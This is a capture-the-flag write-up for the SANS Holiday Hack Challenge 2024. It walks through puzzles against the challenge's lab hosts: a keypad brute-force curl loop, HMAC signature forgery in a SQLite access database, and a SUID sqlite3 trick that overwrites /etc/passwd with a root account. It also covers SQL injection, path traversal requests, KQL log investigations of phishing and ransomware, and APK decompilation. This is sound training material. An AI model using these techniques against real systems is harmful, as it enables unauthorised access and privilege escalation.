This report was created on KringleCraft.com, /ˈkrɪŋ.ɡəl krɑːft ˈkɑːm/. An online CTF solution editor and report generator inspired by SANS Holiday Hack Challenge & KringleCon.
Makes creating solutions and reports easy and fun 😀
KringleCon 7: Snow-maggedon
I’m a Cyber Security Fanatic & Generic IT Fairy. I love doing riddles and solving problems. I have specialized in the area of cyber security but I’m far away from being an expert. I guess my average day is missing 8 additional hours, I do have a lovely family which is always number one! What’s left of the day I use to discover new things, try out software or even play CTF like stuff.
Help Angel Candysalt connect the dots in a game of connections.
Hi there! I'm Angel Candysalt and I'm so happy you've stopped by, as I really need your help with a word puzzle game called Connections where you simply group four related words together. I've been struggling with it today, and I'm also quite suspicious about randomElf's score of fifty thousand points - something seems off about that, don't you think?
Elf Connect Easy Hints: I love brain games! This one is like the New York Times Connections game. Your goal here is to find groups of items that share something in common. Think of each group as having a hidden connection or theme—four items belong together, and there are multiple groups to find! See if you can spot patterns or common threads to make connections. Group all the items correctly to win!
For the simple version, we let the AI help us. In this way, we also receive an explanation of how the groups were formed. For further levels I only show the outputs.
I'll give you 16 words. Always find 4 that go together and group them.
Crosby, White Christmas, Star, Blitzen, Lights, Garland, Mittens, Comet, Sleigh, Bag, Prancer, Gifts, Jingle Bells, Tinsel, Belafonte, Vixen
Let me group these 16 words into sets of 4 that are thematically related:
Reindeer Team: Blitzen, Comet, Prancer, Vixen
Christmas Decorations: Lights, Garland, Tinsel, Star
Holiday Songs/Singers: Crosby, White Christmas, Jingle Bells, Belafonte
Santa's Equipment: Sleigh, Bag, Mittens, Gifts
Let me organize these 16 security testing tools into logical groups of 4:
Network Analysis Tools: Nmap, Wireshark, netcat, Nessus
Mobile/Binary Analysis: Frida, apktool, Cycript, AppMon
Web Application Testing: burp, OWASP zap, Nikto, wfuzz
Post-Exploitation/Red Team: Metasploit, Empire, Cobalt Strike, HAVOC
Let me group these 16 cryptographic concepts and algorithms into sets of 4:
Historical/Classical Ciphers: Caesar, Scytale, One-time Pad, Ottendorf
Modern Symmetric Algorithms: AES, Blowfish, 3DES, RSA
Wireless Security Protocols: WPA2, WEP, TKIP, LEAP
General Crypto Concepts: Symmetric, Asymmetric, hash, hybrid
Let me group these 16 networking protocols into logical sets of 4:
Layer 2 (Data Link) Protocols: ARP, Ethernet, PPP, IEEE 802.11
Layer 3 (Network) Protocols: IP, ICMP, IGMP, IPX
Secure Communication Protocols: SSH, SSL, TLS, IPSec
Application Layer Protocols: HTTP, FTP, SMTP, DNS
If you want a more difficult challenge, try beating randomElf's score.
Elf Connect Hard Hints: WOW! A high score of 50,000 points! That’s way beyond the limit! With only four rounds and a max of 400 points per round, the top possible score should be 1,600 points. So, how did someone get to 50,000? Something unusual must be happening! If you're curious, you might want to check under the hood. Try opening the browser's developer tools console and looking around—there might even be a variable named 'score' that could give you some insights. Sometimes, games hold secrets for those who dig a little deeper. Give it a shot and see what you can discover!
The clues here tell us everything. In the Javascript console, we select the frame for the Elf Connect game and simply overwrite the variable score. After one round, the value is accepted and we have beaten the high score.
score = 50000;
Amazing! You really connected all the dots like a pro.
Assist Poinsettia McMittens with playing a game of Elf Minder 9000.
I need you to help me focus because this whole "moving back to the North Pole" situation has really thrown me off my game! It's a simple puzzle where you guide an elf to the exit as quickly as possible, but I've noticed some strange issues with the springs. If I had made this game, it would be much more stable, though I won't comment any further on that!
Elf Minder 9000: RTD (Read the Docs) Hints: Be sure you read the "Help" section thoroughly! In doing so, you will learn how to use the tools necessary to safely guide your elf and collect all the crates.
Elf Minder 9000: Reusable Paths Hints: Some levels will require you to click and rotate paths in order for your elf to collect all the crates.
We try to find the shortest route with the components available to us. The strategy is to shorten longer passages with tunnels or to jump over obstacles with the spring. The following pictures show my setup, which worked but could certainly be optimised.
After playing through all the levels, I realised that I can use two springs, not just one. So it's all even better, but this proves that even one spring is enough.
You took the easy win, it seems we're kindred spirits. But there's also a hard way to solve this challenge.
Elf Minder 9000: TODO Hints: When developing a video game—even a simple one—it's surprisingly easy to overlook an edge case in the game logic, which can lead to unexpected behavior.
With a little trial and error, I found that springs can lead to unexpected jumps placed right. The following design has led to success. There are also other ways, but I would like to show the variant that only affects the application and not the source code. The numbers indicate the direction in which the paths are placed and the order in which they are placed.
I'm so tired of these elves acting like corporate zombies, just running in circles until someone tells them what to do. While I'm glad you're helping them with your zen-like guidance, I personally wouldn't bother - I'd just let them wander right off the island!
Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands
I'm Jingle Ringford, and while we're currently at Frosty's Beach on Christmas Island transitioning from the 2023 to 2024 SANS Holiday Hack Challenge, we'll soon head back to the North Pole. Although Santa's busy packing, I'm here to give newcomers a quick orientation and present you with a magical never-melting snowball souvenir. You can find your Objectives, Hints, and other Challenge resources by clicking the snowball on your avatar.
Now, click on the Cranberry Pi Terminal and follow the on-screen instructions.
We just have to type answer
in the terminal and we have solved this task.
This year's SANS Holiday Hack Challenge introduces multiple difficulty modes (easy, hard, and story mode) with achievements tracked through bronze, silver, and gold trophies in your snowball. While the group prepares to leave for the North Pole, visitors can explore the island, help Poinsettia McMittens and Angel Candysalt with tasks, and enjoy the beach atmosphere. Be careful around the moving crates during this transition period.
In a swirl of shredded paper, lies the key. Can you unlock the shredder’s code and uncover Santa's lost secrets?
I'm Morcel Nougat, and we've got an urgent situation here - with Santa missing, Wombley and Alabaster are in charge, but one of our overeager Data Management elves accidentally shredded a crucial document we need for Santa's chest and the Santa's Little Helper tool! I've noticed some elves keep referencing a particular book when they pass by, which might help us crack the two access codes we need to get into the Shredder McShreddin 9000 and recover those document pieces.
Who Are You Calling a Dorf? Hints: Hmmmm. I know I have seen Santa and the other elves use this keypad. I wonder what it contains. I bet whatever is in there is a National Treasure!
Shine Some Light on It Hints: Well this is puzzling. I wonder if Santa has a seperate code. Bet that would cast some light on the problem. I know this is a stretch...but...what if you had one of those fancy UV lights to look at the fingerprints on the keypad? That might at least limit the possible digits being used...
Just Some Light Reading Hints: See if you can find a copy of that book everyone seems to be reading these days. I thought I saw somebody drop one close by...
After a little searching, we find a copy of the book in the yard. A search for National Treasure Code from the clues provided in the Ottendorf Cipher. The Ottendorf cipher is a code that uses a book or document as a key, with numbers indicating specific lines, words, and letters to encode or decode messages.The clue sheet then provides us with the page, the word and the letter we are looking for. This is how we get to:
2:6:1 SNUG S
4:19:3 WHAT A
6:1:1 NOW N
3:10:4 CLATTER T
14:8:3 TEAM A
Finally, we use the UV lamp, which we also find in the yard, to display the numbers on the keypad that were used and are therefore possible:
So, it's time for AI again:
can you match the numbers 2 6 7 8 somehow to the characters S A N T A?
Yes, we can map the numbers 2, 6, 7, and 8 to characters in "SANTA" by using some associations based on letter shapes or typical phone keypad mappings. Here are some ideas:
Using letter shapes and appearances:
2 could map to S (since both have a similar curving shape in certain fonts).
6 could map to A (both can look similar in digital or stylized fonts).
7 could map to N (as the 7 resembles the slanted part of an N).
8 could map to T (as both are composed of straight lines and somewhat symmetrical).
The remaining A could map to itself or be represented by 2 again (for symmetry).
Using phone keypad associations:
On a traditional phone keypad:
2 corresponds to A.
7 corresponds to S.
8 corresponds to T.
6 doesn't correspond to any letter in "SANTA" but could be paired with N creatively.
Would one of these approaches work for your needs?
The second option leads to success: 7 2 6 8 2.
But wait—there’s still one more code tucked away! This one might need a bit more elbow grease… you may need to try a few combinations to crack it!
Without any additional information about the second code, the only option left is brute force. If we view the first successful and one incorrect code in the Developer Console, we can transfer this to the command line as follows:
https://hhc24-frostykeypad.holidayhackchallenge.com/
curl -H "content-type:application/json" -d "{\"answer\":\"36999\"}" "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=null"
{"error":"The data you've provided seems to have gone on a whimsical adventure, losing all sense of order and coherence!"}
curl -H "content-type:application/json" -d "{\"answer\":\"72682\"}" "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=null"
{"output":"success"}
Let's build a small shell script that iterates through all the possibilities. With about 1000 possibilities and a delay of 1 second, it shouldn't take longer than 20 minutes:
#!/bin/bash
# Define the digits
digits=(2 6 7 8)
# Iterate through all combinations
for d1 in "${digits[@]}"; do
for d2 in "${digits[@]}"; do
for d3 in "${digits[@]}"; do
for d4 in "${digits[@]}"; do
for d5 in "${digits[@]}"; do
echo "$d1$d2$d3$d4$d5"
curl -H "content-type:application/json" -d "{\"answer\":\"$d1$d2$d3$d4$d5\"}" "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=null"
sleep 1
done
done
done
done
done
./break.sh 1>break.log 2>/dev/null
grep -B 2 success break.log
{"error":"The data you've provided seems to have gone on a whimsical adventure, losing all sense of order and coherence!"}
22786
{"output":"success"}
--
{"error":"The data you've provided seems to have gone on a whimsical adventure, losing all sense of order and coherence!"}
72682
{"output":"success"}
And we have found the second possible code: 22786.
I'm absolutely blown away by your skills - not only did you bypass the rate limiter like a legend, but you've also pieced together the code using an Ottendorf cipher (just like during the Frosty Archives crisis... or was it the Jack Frost incident?). You've retrieved all the shreds we needed, and with Santa still missing, you should definitely share this amazing progress with Jewel Loggins - Wombley and Alabaster will want to hear about this!
Jingle all the wires and connect to Santa's Little Helper to reveal the merry secrets locked in his chest!
I'm Jewel Loggins, and with Santa missing, I really need help fixing his Little Helper tool - specifically connecting to its UART interface which controls our North Pole access cards. I've got all the right tools but can't get the device to respond, and unfortunately, one of Wombley's elves shredded our note with the serial settings, though Morcel Nougat might be able to help recover it.
Shredded to Pieces Hints: Have you ever wondered how elves manage to dispose of their sensitive documents? Turns out, they use this fancy shredder that is quite the marvel of engineering. It slices, it dices, it makes the paper practically disintegrate into a thousand tiny pieces. Perhaps, just perhaps, we could reassemble the pieces?
On the Cutting Edge Hints: Hey, I just caught wind of this neat way to piece back shredded paper! It's a fancy heuristic detection technique—sharp as an elf’s wit, I tell ya! Got a sample Python script right here, courtesy of Arnydo. Check it out when you have a sec: heuristic_edge_detection.py.
When we help Morcel Nougat, we get a lot of shredded paper snippets, see Items. We can reconstruct these using the Python script from the Hints.
unzip shreds.zip
...
python3 heuristic_edge_detection.py
With a small edit in any graphics programme, we can read the note.
With these settings, we can now establish the connection. We just have to pay particular attention to the correct polarity for Send/Receive and the voltage (3 volts).
Note: The Port must be USB0 (screenshot shows the wrong setting here)
Rumor has it you might be able to bypass the hardware altogether for the gold medal. Why not see if you can find that shortcut?
We copy the address of the frame and repeat the scenario again in Burp Suite and the integrated browser to log all accesses, e.g. https://hhc24-hardwarehacking.holidayhackchallenge.com/?&challenge=termHardwareHacking101A&username=xy&id=xy...
We take a look at the source code and find a place that refers to an older API:
If we now make the same call to the the older API v1 (in the simplest case via Burp Repeater), we have solved the task.
Note: I'm not quite sure how this solution fits with the ‘shortcut, bypassing the hardware altogether’, but it seems to be correct.
I'm thrilled you managed to connect to the UART interface - I was stuck on those wires! Now we need to use the 'slh' application to modify the access database for card 42, but we'll need to find the password first since it's protected - try searching the terminal, as passwords sometimes get left in plain sight.
Santa’s gone missing, and the only way to track him is by accessing the Wish List in his chest—modify the access_cards database to gain entry!
This is the second part from objective Hardware Hacking 101
Hidden in Plain Sight Hints: It is so important to keep sensitive data like passwords secure. Often times, when typing passwords into a CLI (Command Line Interface) they get added to log files and other easy to access locations. It makes it trivial to step back in history and identify the password.
We boot the system (‘Startup system default’). First, let's take a look at the command line history:
slh@slhconsole\> history
1 cd /var/www/html
...
10 slg --config
11 slh --passcode CandyCaneCrunch77 --set-access 1 --id 143
We can also use the password from that previous session:
slh@slhconsole\> slh --passcode CandyCaneCrunch77 --set-access 1 --id 42
...
Card 42 granted access level 1.
There’s a tougher route if you're up for the challenge to earn the Gold medal. It involves directly modifying the database and generating your own HMAC signature.
It's In the Signature Hints: I seem to remember there being a handy HMAC generator included in CyberChef.
We find the SQLite database in the file system and take a closer look at it:
slh@slhconsole\> ls
access_cards
slh@slhconsole\> file access_cards
access_cards: SQLite 3.x database, last written using SQLite version 3040001, file counter 8, database pages 32, cookie 0x2, schema 4, UTF-8, version-valid-for 8
slh@slhconsole\> sqlite3 access_cards
sqlite> .header on
sqlite> .tables
access_cards config
sqlite> select * from config;
1|hmac_secret|9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e
2|hmac_message_format|{access}{uuid}
3|admin_password|3a40ae3f3fd57b2a4513cca783609589dbe51ce5e69739a33141c5717c20c9c1
4|app_version|1.0
sqlite> select * from access_cards where id=42;
id|uuid|access|sig
42|c06018b6-5e80-4395-ab71-ae5124560189|0|ecb9de15a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd
An HMAC (hash-based message authentication code) involves a cryptographic hash function and a secret cryptographic key. It can be used to verify both the data integrity and authenticity of data.
If we use the value from hmac_secret as the key and enter the message with the format {access}{uuid} (without brackets), we can use CyberChef to create a valid signature.
sqlite> update access_cards set access=1, sig='135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096' where id = 42;
Brilliant work! We now have access to… the Wish List! I couldn't have done it without you—thank you so much!
I found a way to completely root the machine. This is based on sqlite SUID root being installed, see gtfobins. We use the built-in function to write files and overwrite /etc/passwd to gain root access.
slh@slhconsole\> LFILE=/etc/passwd
slh@slhconsole\> sqlite3 /dev/null -cmd ".output $LFILE" 'select "user3:ghTC5HTjVd/7M:0:0:root:/root:/bin/bash";'
slh@slhconsole\> su user3
(password: 123)
Password:
bash: cannot set terminal process group (9): Inappropriate ioctl for device
bash: no job control in this shell
user3@1a0597267c1e:/home/slh# id -a
uid=0(user3) gid=0(root) groups=0(root)
user3@1a0597267c1e:/home/slh#
Team up with Bow Ninecandle to send web requests from the command line using Curl, learning how to interact directly with web servers and retrieve information like a pro!
I'm Bow Ninecandle, and while everyone's busy unpacking, I'd much rather invite you to try something more exciting - a curling challenge without ice! I'm talking about using Curl, a magical command-line tool for sending web requests - it's as simple as typing 'curl https://example.com' to start with, and while that's just scratching the surface, I'm here to help if you get stuck!
cURL Manual Hints: The official cURL man page has tons of useful information on how to use cURL.
cURL: Don't squash Hints: Take a look at cURL's "--path-as-is" option; it controls a default behavior that you may not expect!
We follow the instructions in the dialogue. We are already familiar with many of the options or can quickly find them using a search.
Welcome to Curling Fun! We will learn some basic curl commands while playing a round of curling.
Are you ready to begin? [y]es: y
1) Unlike the defined standards of a curling sheet, embedded devices often have web servers on non-standard ports. Use curl to retrieve the web page on host "curlingfun" port 8080.
If you need help, run the 'hint' command.
alabaster@curlingfun:~$ curl http://curlingfun:8080
2) Embedded devices often use self-signed certificates, where your browser will not trust the certificate presented. Use curl to retrieve the TLS-protected web page at https://curlingfun:9090/
alabaster@curlingfun:~$ curl -k https://curlingfun:9090
3) Working with APIs and embedded devices often requires making HTTP POST requests. Use curl to send a request to https://curlingfun:9090/ with the parameter "skip" set to the value "alabaster", declaring Alabaster as the team captain.
alabaster@curlingfun:~$ curl -k -d "skip=alabaster" https://curlingfun:9090
4) Working with APIs and embedded devices often requires maintaining session state by passing a cookie. Use curl to send a request to https://curlingfun:9090/ with a cookie called "end" with the value "3", indicating we're on the third end of the curling match.
alabaster@curlingfun:~$ curl -k --cookie "end=3" https://curlingfun:9090
5) Working with APIs and embedded devices sometimes requires working with raw HTTP headers. Use curl to view the HTTP headers returned by a request to https://curlingfun:9090/
alabaster@curlingfun:~$ curl -k -v https://curlingfun:9090
6) Working with APIs and embedded devices sometimes requires working with custom HTTP headers. Use curl to send a request to https://curlingfun:9090/ with an HTTP header called "Stone" and the value "Granite".
alabaster@curlingfun:~$ curl -k -H "Stone:Granite" https://curlingfun:9090
7) curl will modify your URL unless you tell it not to. For example, use curl to retrieve the following URL containing special characters: https://curlingfun:9090/../../etc/hacks
alabaster@curlingfun:~$ curl -k --path-as-is "https://curlingfun:9090/../../etc/hacks"
Great work!
You know... rumor has it you can breeze through this with just three commands. Why don’t you give it a whirl?
We only find the hard challenge after we have looked around a bit in the file system. But then we build the commands as before.
alabaster@curlingfun:~$ cat HARD-MODE.txt
Prefer to skip ahead without guidance? Use curl to craft a request meeting these requirements:
- HTTP POST request to https://curlingfun:9090/
- Parameter "skip" set to "bow"
- Cookie "end" set to "10"
- Header "Hack" set to "12ft"
alabaster@curlingfun:~$ curl -k -d "skip=bow" --cookie "end=10" -H "Hack:12ft" https://curlingfun:9090
Excellent! Now, use curl to access this URL: https://curlingfun:9090/../../etc/button
alabaster@curlingfun:~$ curl -k --path-as-is "https://curlingfun:9090/../../etc/button"
Great! Finally, use curl to access the page that this URL redirects to: https://curlingfun:9090/GoodSportsmanship
alabaster@curlingfun:~$ curl -k -L "https://curlingfun:9090/GoodSportsmanship"
Excellent work, you have solved hard mode! You may close this terminal once HHC grants your achievement.
I'm absolutely amazed at your web wizardry - you've mastered the Curl challenge faster than a curling stone on magical ice, and even managed to condense it all into just three commands! You're truly a Curling conjurer!
Help the elf defecting from Team Wombley get invaluable, top secret intel to Team Alabaster. Find Chimney Scissorsticks, who is hiding inside the DMZ.
I'm Chimney Scissorsticks, and I need to confide in you - while I initially supported Wombley, I'm worried about the growing tensions and need to warn Alabaster's side that Wombley's actually building a drone armada in the toy factory, not toys! I think we can find the admin password hidden in the drone flight logs (KML files), and with your help using tools like Google Earth and Python scripting, we might be able to decode these passwords and prevent this snowball situation from escalating further.
First we download the .kml file (via Menu - FileShare). Keyhole Markup Language (KML) is an XML notation for expressing geographic annotation and visualization within two-dimensional maps and three-dimensional Earth browsers. We then import this into Google Earth (via New - local KML file - import). If we rotate the globe a little, we can recognise a password: GUMDROP1.
With this access data (fritjolf:GUMDROP1) we can now log into the application and download a CSV file via the profile (via Menu - Profile). Using a text editor, we add a first ID column to this file and enter 1, 2, 3, ... there. Now we use a CSV to KML converter. The correct settings are automatically recognised here.
We also import this file into Google Earth and zoom into the marked locations. The locations resemble letters and in the correct order (via the ID) a drone name results: ELF-HAWK.
We search for this drone in the application (via Menu - Workshop) and receive another CSV file for download. We also convert this to KML format and display it this time in a different tool that is better suited for 2D visualisation. Now we have the final solution word: DroneDataAnalystExpertMedal.
But I need you to dig deeper. Make sure you’re checking those file structures carefully, and remember—rumor has it there is some injection flaw that might just give you the upper hand. Keep your eyes sharp!
In the source code, we see the API calls that the application makes. With a little trial and error, we find out that one of the two endpoints is vulnerable to SQL injection:
https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=ELF-HAWK' or '1'='1
[
{
"name": "ELF-HAWK",
"quantity": "40",
"weapons": "Snowball-launcher"
},
{
"name": "Pigeon-Lookalike-v4",
"quantity": "20",
"weapons": "Surveillance Camera"
},
{
"name": "FlyingZoomer",
"quantity": "4",
"weapons": "Snowball-Dropper"
},
{
"name": "Zapper",
"quantity": "5",
"weapons": "CarrotSpike"
}
]
In the second endpoint we insert all drone names and get:
https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones/Pigeon-Lookalike-v4/comments
{
"comments": [
"This is a great drone for surveillance, but we need to keep it out of the rain.",
"I cant believe we are using pigeons for surveillance. \n If anyone finds out, there will most likely be a conspiracy theory about it.",
"I heard a rumor that there is something fishing with some of the files. \nThere was some talk about only TRUE carvers would find secrets and that FALSE ones would never find it."
],
"drone_name": "Pigeon-Lookalike-v4"
}
It took me a while to understand this hint and recognise the pattern. Finally, I removed all the lines in the previous CSV file that only had FALSE entries (‘FALSE ones would never find it’) and then converted TRUE to 1 and FALSE to 0. For a simpler visualisation I used Excel:
Let's now create a recipe From Binary in CyberChef with the parameters Delimiter=None and Byte Length=8. If we then copy all 01 lines into it, we get the second solution word: EXPERTTURKEYCARVERMDEAL.
I'm so impressed with how you handled those drone challenges - you mastered the KML files, cracked the codes, and even found the most difficult path using file carving and SQL injection! Your expertise will be crucial in preventing the big snowball battle and handling whatever challenges the factions present.
Answer two sections for silver, all four sections for gold.
I'm Pepper Minstix reporting from neutral ground with urgent news - Team Wombley has launched serious cyber attacks against the North Pole, including phishing, ransomware, and espionage that have already breached Alabaster's systems. We need your expertise with KQL logs to investigate and neutralize these threats, particularly the ransomware, so we can restore peace and holiday harmony!
I'm Wunorse from Team Wombley, and we're totally crushing it - we've pulled off amazing phishing attacks, ransomware, and cyber espionage that Alabaster said we couldn't do, all fueled by energy drinks and late nights! It would take a master defender to fix all our damage, but why bother with lame defense when you could join the cool side with us?
First, we go to http://kc7cyber.com/go/hhc24 and create an account. The modules are very well described and self-explanatory, so I will only show the questions, statements and answers here.
KQL 101
Question | Statement | Answer |
---|---|---|
Type let’s do this to begin your KQL training. | let's do this | |
Once you've examined all the tables, type when in doubt take 10 to proceed. | Employees | take 10 |
when in doubt take 10 |
How many elves did you find? | Employees | count |
90 |
Can you find out the name of the Chief Toy Maker? | Employees | where role == "Chief Toy Maker" |
Shinny Upatree |
Type operator to continue. | operator | |
How many emails did Angel Candysalt receive? | Employees | where name == "Angel Candysalt" How many emails did Angel Candysalt receive? | where recipient == "angel_candysalt@santaworkshopgeeseislands.org" | count |
31 |
How many distinct recipients were seen in the email logs from twinkle_frostington@santaworkshopgeeseislands.org? | Email | where sender has "twinkle_frostington@santaworkshopgeeseislands.org" | distinct recipient | count |
32 |
How many distinct websites did Twinkle Frostington visit? | Employees | where name == "Twinkle Frostington" OutboundNetworkEvents | where src_ip == "10.10.0.36" | distinct url | count |
4 |
How many distinct domains in the PassiveDns records contain the word green? | PassiveDns | where domain contains "green" | distinct domain | count |
10 |
How many distinct URLs did elves with the first name Twinkle visit? | let twinkle_ips = Employees | where name has "Twinkle" | distinct ip_addr; OutboundNetworkEvents | where src_ip in (twinkle_ips) | distinct url | count |
8 |
Operation Surrender
Question | Statement | Answer |
---|---|---|
Type surrender to get started! | surrender | |
Who was the sender of the phishing email that set this plan into motion? | Email | where subject contains "surrender" | distinct sender |
surrender@northpolemail.com |
How many elves from Team Wombley received the phishing email? | Email | where subject contains "surrender" | distinct recipient | count |
22 |
What was the filename of the document that Team Alabaster distributed in their phishing email? | Email | where subject contains "surrender" | distinct link |
Team_Wombley_Surrender.doc |
Who was the first person from Team Wombley to click the URL in the phishing email? | Employees | join kind=inner ( OutboundNetworkEvents ) on $left.ip_addr == $right.src_ip // condition to match rows | where url contains "Team_Wombley_Surrender.doc" | project name, ip_addr, url, timestamp // project returns only the information you select | sort by timestamp asc //sorts time ascending | take 1 |
Joyelle Tinseltoe |
What was the filename that was created after the .doc was downloaded and executed? | Employees | where name == "Joyelle Tinseltoe" ProcessEvents | where timestamp between(datetime("2024-11-27T13:11:45Z") .. datetime("2024-11-27T15:11:45Z")) //you’ll need to modify this | where hostname == "Elf-Lap-W-Tinseltoe" |
keylogger.exe |
To obtain your flag use the KQL below with your last answer! | let flag = "keylogger.exe"; let base64_encoded = base64_encode_tostring(flag); print base64_encoded |
a2V5bG9nZ2VyLmV4ZQ== |
Operation Snowfall
Question | Statement | Answer |
---|---|---|
Type snowfall to begin | snowfall | |
What was the IP address associated with the password spray? | AuthenticationEvents | where result == "Failed Login" | summarize FailedAttempts = count() by username, src_ip, result | where FailedAttempts >= 5 | sort by FailedAttempts desc |
59.171.58.12 |
How many unique accounts were impacted where there was a successful login from 59.171.58.12? | AuthenticationEvents | where src_ip == "59.171.58.12" | where result == "Successful Login" | summarize FailedAttempts = count() by username, src_ip, result | count |
23 |
What service was used to access these accounts/devices? | AuthenticationEvents | where src_ip == "59.171.58.12" | where result == "Successful Login" | distinct description |
RDP |
What file was exfiltrated from Alabaster’s laptop? | AuthenticationEvents | where src_ip == "59.171.58.12" | where result == "Successful Login" | where username == "alsnowball" ProcessEvents | where timestamp > datetime("2024-12-11T00:39:50Z") | where hostname == "Elf-Lap-A-Snowball" |
Secret_Files.zip |
What is the name of the malicious file that was run on Alabaster's laptop? | See above | EncryptEverything.exe |
Enter your flag to continue | let flag = "EncryptEverything.exe"; let base64_encoded = base64_encode_tostring(flag); print base64_encoded |
RW5jcnlwdEV2ZXJ5dGhpbmcuZXhl |
Echoes in the Frost
Question | Statement | Answer |
---|---|---|
Type stay frosty to begin | stay frosty | |
What was the timestamp of first phishing email about the breached credentials received by Noel Boetie? | Email | where recipient has "Noel" | where subject contains "credentials" | take 10 |
2024-12-12T14:48:55Z |
When did Noel Boetie click the link to the first file? | OutboundNetworkEvents | where url == "https://holidaybargainhunt.io/published/files/files/echo.exe" |
2024-12-12T15:13:55Z |
What was the IP for the domain where the file was hosted? | PassiveDns | where domain == "holidaybargainhunt.io" | distinct ip |
182.56.23.122 |
Let’s take a closer look at the authentication events. I wonder if any connection events from 182.56.23.122. If so what hostname was accessed? | AuthenticationEvents | where src_ip == "182.56.23.122" |
WebApp-ElvesWorkshop |
What was the script that was run to obtain credentials? | ProcessEvents | where hostname == "WebApp-ElvesWorkshop" |
Invoke-Mimikatz.ps1 |
What is the timestamp where Noel executed the file? | ProcessEvents | where process_commandline contains "echo.exe" | where username == "seadmin" |
2024-12-12T15:14:38Z |
What domain was the holidaycandy.hta file downloaded from? | OutboundNetworkEvents | where url contains "holidaycandy.hta" |
compromisedchristmastoys.com |
what was the first file that was created after extraction? | ProcessEvents | where process_commandline contains "frosty" | where username == "noboetie" FileCreationEvents | where timestamp > datetime("2024-12-24T17:19:45Z") |
sqlwriter.exe |
What is the name of the property assigned to the new registry key? | ProcessEvents | where process_commandline contains "HKCU" |
frosty |
To obtain your FINAL flag use the KQL below with your last answer! | let finalflag = "frosty"; let base64_encoded = base64_encode_tostring(finalflag); print base64_encoded |
ZnJvc3R5 |
I'm absolutely thrilled with your incredible cybersecurity work - you've masterfully analyzed KQL logs, traced phishing emails, tracked compromised accounts, and neutralized ransomware! Ho-ho-holy snowflakes, you've truly become a holiday hero by completing all four tasks and helping restore peace to the North Pole!
I'm pretty upset - I thought we were bros but you're messing with our achievements! Sure, our phishing emails were genius and we needed those accounts, but now you've dismantled our ransomware that we spent so many energy drinks creating. Whatever though, this was just practice - our real attack is gonna be totally sick later!
Help find who has been left out of the naughty AND nice list this Christmas. Please speak with Eve Snowshoes for more information.
I'm Eve Snowshoes from Team Alabaster, and I need your help with our new Android app for Santa's Naughty-Nice List - I accidentally left out a child's name in both the debug and release versions of the app. Could you first check the debug version to find which name is missing from the list, before we tackle the release version?
Mobile Analysis Easy - Tools Hints: Try using apktool or jadx
Mobile Analysis Easy - Missing Hints: Maybe look for what names are included and work back from that?
First, we download the apk file and unzip it in the local file system, then decompile it (using jadx as hinted).
wget https://www.holidayhackchallenge.com/2024/SantaSwipe.apk
unzip SantaSwipe.apk -d SantaSwipe
Archive: SantaSwipe.apk
inflating: SantaSwipe/assets/awe.otf
...
cd SantaSwipe
for i in `ls *.dex` ; do jadx /home/xy/SantaSwipe/$i -d /home/xy/SantaSwipe/${i%.dex}; done
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
INFO - loading ...
...
If we look around the file system, we see an interesting file that sends database queries. In the function that displays the NormalList, we can also immediately see which person is omitted: Ellie.
cat classes3/sources/com/northpole/santaswipe/MainActivity.java
...
@JavascriptInterface
public final void getNormalList() {
...
Cursor cursor = sQLiteDatabase.rawQuery("SELECT Item FROM NormalList WHERE Item NOT LIKE '%Ellie%'", null);
...
Nice job completing the debug version—smooth as a sleigh ride on fresh snow!
But now, the real challenge lies in the obfuscated release version. Ready to dig deeper and show Alabaster’s faction your skills?
Mobile Analysis Hard - Format Hints: So yeah, have you heard about this new Android app format? Want to convert it to an APK file?
Mobile Analysis Hard - Encryption and Obfuscation Hints: Obfuscated and encrypted? Hmph. Shame you can't just run strings on the file.
First of all, we download the file again. Analyzing an .aab file (Android App Bundle) is slightly different from analyzing an APK because .aab files are designed for distribution via Google Play. They contain resources and binaries for multiple device configurations. To analyze a .aab, we first need to convert it to an .apk (using bundletool as hinted).
wget https://www.holidayhackchallenge.com/2024/SantaSwipeSecure.aab
wget https://github.com/google/bundletool/releases/download/1.15.0/bundletool-all-1.15.0.jar -O bundletool.jar
java -jar bundletool.jar build-apks --bundle=SantaSwipeSecure.aab --output=SantaSwipeSecure.apks --mode=universal
unzip SantaSwipeSecure.apks -d SantaSwipeSecure
unzip SantaSwipeSecure/universal.apk -d universal
apktool d SantaSwipeSecure/universal.apk -o SantaSwipeSecure_apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.7.0-dirty on universal.apk
...
cd universal
for i in `ls *.dex` ; do jadx /home/xy/universal/$i -d /home/xy/universal/${i%.dex}; done
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
...
The interesting files now can be found in the file system (files see below). The encryption key and IV used in the DatabaseHelper class are derived from the app's resources, specifically strings stored in R.string.ek and R.string.iv. These are retrieved in the constructor using the context.getString() method and then decoded from Base64 to byte arrays.
cat classes/sources/com/northpole/santaswipe/DatabaseHelper.java
...
Intrinsics.checkNotNullParameter(context, "context");
String string = context.getString(R.string.ek);
Intrinsics.checkNotNullExpressionValue(string, "getString(...)");
String obj = StringsKt.trim(string).toString();
String string2 = context.getString(R.string.iv);
...
@Override // android.database.sqlite.SQLiteOpenHelper
public void onCreate(SQLiteDatabase db) {
Intrinsics.checkNotNullParameter(db, "db");
db.execSQL("CREATE TABLE IF NOT EXISTS NiceList (Item TEXT);");
db.execSQL("CREATE TABLE IF NOT EXISTS NaughtyList (Item TEXT);");
db.execSQL("CREATE TABLE IF NOT EXISTS NormalList (Item TEXT);");
